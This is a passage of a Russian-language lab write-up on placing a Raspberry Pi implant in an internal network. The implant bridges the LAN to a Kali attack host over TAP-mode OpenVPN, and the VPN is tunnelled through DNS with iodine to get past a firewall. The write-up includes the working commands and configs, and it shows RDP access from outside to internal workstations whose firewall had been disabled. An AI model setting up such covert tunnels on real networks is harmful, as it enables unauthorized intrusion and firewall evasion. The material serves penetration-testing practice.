Using SSL: openssl OpenSSL 1.1.1l  24 Aug 2021
Generating an EC private key
writing new private key to '/etc/openvpn/easy-rsa/pki/easy-rsa-5160.Nzcg2x/tmp.0tyvbm'
-----
Using configuration from /etc/openvpn/easy-rsa/pki/easy-rsa-5160.Nzcg2x/tmp.EZa6vE
Check that the request matches the signature
Signature ok
The Subject's Distinguished Name is as follows
commonName            :ASN.1 12:'v'
Certificate is to be certified until Mar 29 21:28:19 2024 GMT (825 days)

Write out database with 1 new entries
Data Base Updated

Client v added.

The configuration file has been written to /home/user/v.ovpn.
Download the .ovpn file and import it in your OpenVPN client.
```
Конфигурационный файл **```v.ovpn```** для клиента **v** создан в текущей папке.

##### правим конфиг сервера ```/etc/openvpn/server.conf```
    
    sed -i s/\ tun/\ tap/ /etc/openvpn/server.conf
    sed -i s/push/#push/ /etc/openvpn/server.conf

меняем в нем следующие строки
>dev tun
push "dhcp-option DNS 94.140.14.14"
push "dhcp-option DNS 94.140.15.15"
push "redirect-gateway def1 bypass-dhcp"

на
>dev tap
#push "dhcp-option DNS 94.140.14.14"
#push "dhcp-option DNS 94.140.15.15"
#push "redirect-gateway def1 bypass-dhcp"

:::info

**What is the difference between TUN and tap?**

TUN, namely network TUNnel, simulates a network layer device and operates in layer 3 carrying IP packets. TAP, namely network TAP, simulates a link layer device and operates in layer 2 carrying Ethernet frames. TUN is used with routing. TAP can be used to create a user space network bridge.
:::

##### установка клиента
Заходим **на Rp3** и устанавливаем ```openvpn client``` командой

    apt install openvpn -y




##### правим конфиг клиента
:::info
If you install OpenVPN via an RPM or DEB package on Linux, the installer will set up an initscript. When executed, the initscript will scan for .conf configuration files in /etc/openvpn, and if found, will start up a separate OpenVPN daemon for each file.
:::

Забираем конфиг клиента с сервера, сразу переименовываем, что бы в дальнейшем использовать это для автоматического подключения к openvpn после перезагрузки Rp3

    scp root@10.0.0.16:/home/user/v.ovpn ./v.conf

Правим его. Меняем tun на tap и комментируем строки содержащие ignore|setenv|explicit

    sed -i s/\ tun/\ tap/ ./v.conf
    sed -i -E "s/(ignore|setenv|explicit)/#\1/" ./v.conf
:::info
-E позволяет испольовать регулярные выражения.
\1 содержит найденый фрагмент текста
:::

Сохраняем в папку для конфигов клинетов

    cp v.conf /etc/openvpn/
    
Запускаем

    openvpn /etc/openvpn/client/v.conf

Проверям появился ли интерфейс
```
ip a

.....

21: tap0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 100
    link/ether 56:fb:5b:12:98:27 brd ff:ff:ff:ff:ff:ff
    inet 10.8.0.2/24 brd 10.8.0.255 scope global tap0
       valid_lft forever preferred_lft forever
    inet6 fe80::54fb:5bff:fe12:9827/64 scope link
       valid_lft forever preferred_lft forever
 ```      

Открываем конфиг ```/etc/network/interfaces``` подключаем ```tap0``` и добавляем его в ```br0```

```
auto tap0
iface tap0 inet manual

auto br0
iface br0 inet static
        address 192.168.1.99/24
        bridge_ports ens3 ens4 tap0

```

Рестартим сеть ```service networking  restart```

:::info
You can use ```sudo ip link delete int#``` to delete the interface itself.
:::

:::warning
У меня ни как не получалось добиться необходимого результата и добавить tap0 с ip адресом в br0. После рестарта сети полученный адрес пропадал, да и само vpn соединение разрывалось. 
Либо tap0 в br0 либо есть ip адрес на tap0.

Эта [статью](https://icr.advantech.cz/support/faq/detail/how-to-create-openvpn-tap-interface-bridge-mode), помогла исправить ситуацию.

Используя команду ```brctl addif br0 tap0``` получилось добавить tap0 с полученным ip в br0 и не разорвав соединение.
:::

##### готовим клиента к работе после перезапуска
Взяв [эту статью](https://qastack.ru/ubuntu/28733/how-do-i-run-a-script-after-openvpn-has-connected-successfully) за основу готовим нашего клинета.

Разрешаем AUTOSTART для openvpn  **на rp3**

    sed -i s/#AUTOSTART/AUTOSTART/ /etc/default/openvpn

Создаем стартовый скрипт  ```openvpn.up``` и назначим права
```
cat > /var/openvpn/scripts/openvpn.up <<EOF
#!/bin/sh
brctl addif br0 tap0
EOF
chmod 755 /var/openvpn/scripts/openvpn.up

```

В конфиг файле клиента  ```/etc/openvpn/v.ovpn``` добавлем следующие строки 
```
script-security 2
up /var/openvpn/scripts/openvpn.up
```

##### Проверка.

Перезагружаем **rp3** и проверяем 

```
root@rp3:~# ip a

2: ens3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master br0 state UP group default qlen 1000
    link/ether 00:50:00:00:07:00 brd ff:ff:ff:ff:ff:ff
3: ens4: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master br0 state UP group default qlen 1000
    link/ether 00:50:00:00:07:01 brd ff:ff:ff:ff:ff:ff
5: br0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
    link/ether 00:50:00:00:07:00 brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.99/24 brd 192.168.1.255 scope global br0
       valid_lft forever preferred_lft forever
    inet6 fe80::250:ff:fe00:700/64 scope link
       valid_lft forever preferred_lft forever
8: tap0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master br0 state UNKNOWN group default qlen 100
    link/ether b6:58:98:33:9d:8b brd ff:ff:ff:ff:ff:ff
    inet 10.8.0.2/24 brd 10.8.0.255 scope global tap0
       valid_lft forever preferred_lft forever
    inet6 fe80::b458:98ff:fe33:9d8b/64 scope link
       valid_lft forever preferred_lft forever
```       
Все необходимые интерфесы ens3/4,tap0 входят в br0. Ip адрес в tap0 есть.

В wireshark'e на Kali видим L2 трафик из внутренней сети
![](https://i.imgur.com/jhLoczM.png)

Проверяем досупность рабочей станции из подсети 192.168.1.0/24
```
root@rp3:~# ping 192.168.1.15
PING 192.168.1.15 (192.168.1.15) 56(84) bytes of data.
64 bytes from 192.168.1.15: icmp_seq=1 ttl=128 time=7.21 ms
```

Есть ответ. Также успешно поключаемся по rdp  к внутренней рабочей станции без проброски портов с атакующей машины из интернета.

![](https://i.imgur.com/DbefoA7.png)


##### Готовим DNS

Подключаемся к **dns серверу**. Переименовываем, для удобства использования.
    
```
root@debian:/home/user# cat > /etc/hostname <<EOF
dns-tun
EOF

```
Обязательно не забываем исправить hosts.
```
root@debian:/home/user# cat /etc/hosts
cat: nano: No such file or directory
127.0.0.1       localhost
127.0.1.1       dns-tun
```
Настраиваем сеть.
```
root@debian:/home/user# cat >>  /etc/network/interfaces <<EOF
auto ens3
iface ens3 inet dhcp
EOF

```
Перегружаем сервер.

###### iodine

Для оборачивания нашего vpn в dns будем использовать [iodine](https://github.com/yarrick/iodine).

:pencil: This is a piece of software that lets you tunnel IPv4 data through a DNS server. This can be usable in different situations where internet access is firewalled, but DNS queries are allowed.

Устанавливаем:

    apt update -y && apt install iodine -y
    
Запускаем iodine сервер:
```
root@Debian-10:~# iodined -P Qq123456 10.10.0.1/24 -c i.example.com
Opened dns0
Setting IP of dns0 to 10.10.0.1
Setting MTU of dns0 to 1130
Opened IPv4 UDP socket
Listening to dns for domain i.example.com
Detaching from terminal...
```

и проверяем результат
```
root@debian:/home/user# ip a
...
3: dns0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1130 qdisc pfifo_fast state UNKNOWN group default qlen 500
    link/none
    inet 10.10.0.1/24 scope global dns0
       valid_lft forever preferred_lft forever

```

###### Настраиваем клиента на RP3

Установим утилиту **на RP3**

    apt install iodine -y

Добавим маршрут на RP3 до нашего DNS сервера через pfSense

    ip route add 10.0.0.14/32 via 192.168.1.1

Укажем наш сервер для резолва 
```
root@rp3:~#cat > /etc/resolv.conf <<EOF
nameserver 10.0.0.14
EOF
```


Сделаем DNS туннель с помощью iodine.
```
root@rp3:~# iodine -P Qq123456 i.example.com
Opened dns0
Opened IPv4 UDP socket
Sending DNS queries for i.example.com to 10.0.0.14
Autodetecting DNS query type (use -T to override).
Using DNS type NULL queries
Version ok, both using protocol v 0x00000502. You are user #0
Setting IP of dns0 to 10.10.0.2
Setting MTU of dns0 to 1130
Server tunnel IP is 10.10.0.1
Testing raw UDP data to the server (skip with -r)
Server is at 10.0.0.14, trying raw login: OK
Sending raw traffic directly to 10.0.0.14
Connection setup complete, transmitting data.
Detaching from terminal...
```
Проверяем результат 
```
root@rp3:~#ip a
...
8: dns0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1130 qdisc pfifo_fast state UNKNOWN group default qlen 500
    link/none
    inet 10.10.0.2/24 scope global dns0
       valid_lft forever preferred_lft forever
```

DNS тунель поднят, теперь нам необходимо инкапсулировать OpenVPN в DNS тунель

###### Инкапсулируем OpenVPN в DNS

Включаем forwarding **на DNS-tun** сервере и применяем

    sed -i s/#net.ipv4.ip_forward/net.ipv4.ip_forward/ /etc/sysctl.conf
    sysctl -p


На этом же сервере настроим iptables.

    iptables -t nat -A POSTROUTING -o ens3 -j MASQUERADE


**На rp3** добавляем маршрут до OpenVPN сервера [Kali] 

    ip route add 10.0.0.16/32 via 10.10.0.1

И выполним трассировку с rp3 до Kali
```
root@rp3:~# traceroute -d 10.0.0.16
traceroute to 10.0.0.16 (10.0.0.16), 30 hops max, 60 byte packets
 1  10.10.0.1 (10.10.0.1)  13.658 ms  17.083 ms  22.342 ms
 2  10.0.0.16 (10.0.0.16)  34.553 ms  34.606 ms  40.743 ms

```
Запускаем или перезапускаем openvpn соединение. Теперь подключение должно быть установленно через dns-tun сервер используя dns.

Проверив трафик wireshark видим, что между fw и нашим dns сервером активно бегает dns трафик. Правда, очень много записей отмечены как ==Malformed Packet==.
![](https://i.imgur.com/gVoxDoS.png)

Между dns И kali уже виден openvpn трафик, которого нет до dns-tun
![](https://i.imgur.com/EF1ZpNo.png)


![](https://i.imgur.com/ObynkRN.png)


Заходим на Kali и добавляем маршрут до vlan20
    
    ip r add 192.168.20.0/24 via 192.168.1.1 dev tap0

Пробуем подключиться к win10 по rdp, предварительно отключив там фаервол

![](https://i.imgur.com/EpGkOLQ.png) 

Тоже успешно.

:::spoiler настройки на Kali

┌──(root💀kali)-[/home/user]
└─# ip r                                                                                      130 ⨯
default via 10.0.0.1 dev eth0 proto dhcp metric 100
10.0.0.0/24 dev eth0 proto kernel scope link src 10.0.0.16 metric 100
10.8.0.0/24 dev tap0 proto kernel scope link src 10.8.0.1
192.168.1.0/24 dev tap0 proto kernel scope link src 192.168.1.101
192.168.20.0/24 via 192.168.1.1 dev tap0

┌──(root💀kali)-[/home/user]
└─# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:50:00:00:06:00 brd ff:ff:ff:ff:ff:ff
    inet 10.0.0.16/24 brd 10.0.0.255 scope global dynamic noprefixroute eth0
       valid_lft 2582510sec preferred_lft 2582510sec
    inet6 fe80::250:ff:fe00:600/64 scope link noprefixroute
       valid_lft forever preferred_lft forever
3: tap0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000
    link/ether 9a:61:a4:fd:bf:cc brd ff:ff:ff:ff:ff:ff
    inet 10.8.0.1/24 scope global tap0
       valid_lft forever preferred_lft forever
    inet 192.168.1.101/24 scope global tap0
       valid_lft forever preferred_lft forever
    inet6 fe80::9861:a4ff:fefd:bfcc/64 scope link
       valid_lft forever preferred_lft forever

:::


:::spoiler настройки на rp3


root@rp3:~# cat /etc/network/interfaces
source /etc/network/interfaces.d/*

auto lo
iface lo inet loopback

auto ens3
iface ens3 inet manual

auto ens4
iface ens4 inet manual

auto ens5
iface ens5 inet dhcp

auto tap0
iface tap0 inet manual

auto br0
iface br0 inet static
        address 192.168.1.99/24
        bridge_ports ens3 ens4 tap0

auto br0.10
iface br0.10 inet static
        address 192.168.10.99/24

auto br0.20
iface br0.20 inet static
        address 192.168.20.99/24



root@rp3:~# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: ens3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master br0 state UP group default qlen 1000
    link/ether 00:50:00:00:07:00 brd ff:ff:ff:ff:ff:ff
3: ens4: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master br0 state UP group default qlen 1000
    link/ether 00:50:00:00:07:01 brd ff:ff:ff:ff:ff:ff
4: ens5: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:50:00:00:07:02 brd ff:ff:ff:ff:ff:ff
    inet 10.0.0.15/24 brd 10.0.0.255 scope global dynamic ens5
       valid_lft 2581390sec preferred_lft 2581390sec
    inet6 fe80::250:ff:fe00:702/64 scope link
       valid_lft forever preferred_lft forever
5: br0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
    link/ether 00:50:00:00:07:00 brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.99/24 brd 192.168.1.255 scope global br0
       valid_lft forever preferred_lft forever
    inet6 fe80::250:ff:fe00:700/64 scope link
       valid_lft forever preferred_lft forever
6: br0.10@br0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
    link/ether 00:50:00:00:07:00 brd ff:ff:ff:ff:ff:ff
    inet 192.168.10.99/24 brd 192.168.10.255 scope global br0.10
       valid_lft forever preferred_lft forever
    inet6 fe80::250:ff:fe00:700/64 scope link
       valid_lft forever preferred_lft forever
7: br0.20@br0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
    link/ether 00:50:00:00:07:00 brd ff:ff:ff:ff:ff:ff
    inet 192.168.20.99/24 brd 192.168.20.255 scope global br0.20
       valid_lft forever preferred_lft forever
    inet6 fe80::250:ff:fe00:700/64 scope link
       valid_lft forever preferred_lft forever
9: dns0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1130 qdisc pfifo_fast state UNKNOWN group default qlen 500
    link/none
    inet 10.10.0.2/24 scope global dns0
       valid_lft forever preferred_lft forever
14: tap0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master br0 state UNKNOWN group default qlen 100
    link/ether b6:0c:fd:78:1e:1a brd ff:ff:ff:ff:ff:ff
    inet 10.8.0.2/24 brd 10.8.0.255 scope global tap0
       valid_lft forever preferred_lft forever
    inet6 fe80::b40c:fdff:fe78:1e1a/64 scope link
       valid_lft forever preferred_lft forever

root@rp3:~# ip r
default via 10.0.0.1 dev ens5
10.0.0.0/24 dev ens5 proto kernel scope link src 10.0.0.15
10.0.0.14 via 192.168.1.1 dev br0
10.0.0.16 via 10.10.0.1 dev dns0
10.8.0.0/24 dev tap0 proto kernel scope link src 10.8.0.2
10.10.0.0/24 dev dns0 proto kernel scope link src 10.10.0.2
192.168.1.0/24 dev br0 proto kernel scope link src 192.168.1.99
192.168.10.0/24 dev br0.10 proto kernel scope link src 192.168.10.99
192.168.20.0/24 dev br0.20 proto kernel scope link src 192.168.20.99

root@rp3:~# cat /etc/openvpn/v.conf
client
proto udp
#explicit-exit-notify
remote 10.0.0.16 1194
dev tap
resolv-retry infinite
nobind
persist-key
persist-tun
remote-cert-tls server
verify-x509-name server_wO14zJjXydfrJw6Z name
auth SHA256
auth-nocache
cipher AES-128-GCM
tls-client
tls-version-min 1.2
tls-cipher TLS-ECDHE-ECDSA-WITH-AES-128-GCM-SHA256
#ignore-unknown-option block-outside-dns
#setenv opt block-outside-dns # Prevent Windows 10 DNS leak
verb 3
script-security 2
# run /etc/openvpn/up.sh when the connection is set up
up /etc/openvpn/up.sh


root@rp3:~# cat /etc/openvpn/up.sh
#!/bin/bash
#/usr/bin/systemctl restart networking.service
brctl addif br0 tap0



root@rp3:~# cat /etc/default/openvpn | grep -v "#"
AUTOSTART="all"
OPTARGS=""
OMIT_SENDSIGS=0

root@rp3:~# cat /etc/sysctl.conf  | grep -v "#"
net.ipv4.ip_forward=1


:::

:::spoiler


root@Dns-tune:~# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: ens3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:50:00:00:08:00 brd ff:ff:ff:ff:ff:ff
    inet 10.0.0.14/24 brd 10.0.0.255 scope global dynamic ens3
       valid_lft 2580872sec preferred_lft 2580872sec
    inet6 fe80::250:ff:fe00:800/64 scope link
       valid_lft forever preferred_lft forever
3: dns0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1130 qdisc pfifo_fast state UNKNOWN group default qlen 500
    link/none
    inet 10.10.0.1/24 scope global dns0
       valid_lft forever preferred_lft forever

root@Dns-tune:~# ip r
default via 10.0.0.1 dev ens3
10.0.0.0/24 dev ens3 proto kernel scope link src 10.0.0.14
10.10.0.0/24 dev dns0 proto kernel scope link src 10.10.0.1

root@Dns-tune:~# iptables -t nat -L -n -v
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination

Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination

Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination
   96  6144 MASQUERADE  all  --  *      ens3    0.0.0.0/0            0.0.0.0/0

Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination
 
:::